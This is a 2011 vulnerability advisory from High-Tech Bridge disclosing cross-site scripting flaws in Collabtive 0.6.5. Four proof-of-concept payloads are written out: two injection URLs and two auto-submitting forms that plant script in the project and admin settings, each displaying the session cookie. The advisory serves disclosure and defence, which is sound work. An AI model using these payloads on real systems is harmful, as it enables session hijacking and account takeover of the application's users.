[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

HTB22906: XSS vulnerabilities in Collabtive



Vulnerability ID: HTB22906
Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_collabtive.html
Product: Collabtive
Vendor: Open Dynamics ( http://collabtive.o-dyn.de/ ) 
Vulnerable Version: 0.6.5 and probably prior versions
Vendor Notification: 17 March 2011 
Vulnerability Type: XSS
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "managetimetracker.php", "manageproject.php", "manageuser.php", "admin.php" scripts to properly sanitize user-supplied input in "id", "name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:
1.

http://host/managetimetracker.php?action=editform&tid=1&id=1";><script>alert(document.cookie)</script>

2.

http://host/manageuser.php?action=profile&id=1";><script>alert(document.cookie)</script>


3.

<form action="http://host/manageproject.php?action=edit&id=1"; method="post" name="main">
<input type="hidden" name="name" value='test"><script>alert(document.cookie)</script>'>
<input type="hidden" name="desc" value="Description">
<input type="hidden" name="end" value="16.03.2011">
</form>
<script>
document.main.submit();
</script>


4.

<form action="http://host/admin.php?action=editsets"; method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="name" value='Collabtive"><script>alert(document.cookie)</script>'>
<input type="hidden" name="subtitle" value="Projectmanagement">
<input type="hidden" name="locale" value="en">
<input type="hidden" name="timezone" value="Europe/Zurich">
<input type="hidden" name="rssuser" value="">
<input type="hidden" name="rsspass" value="">
<input type="hidden" name="dateformat" value="d.m.Y">
<input type="hidden" name="template" value="standard">
</form>
<script>
document.main.submit();
</script>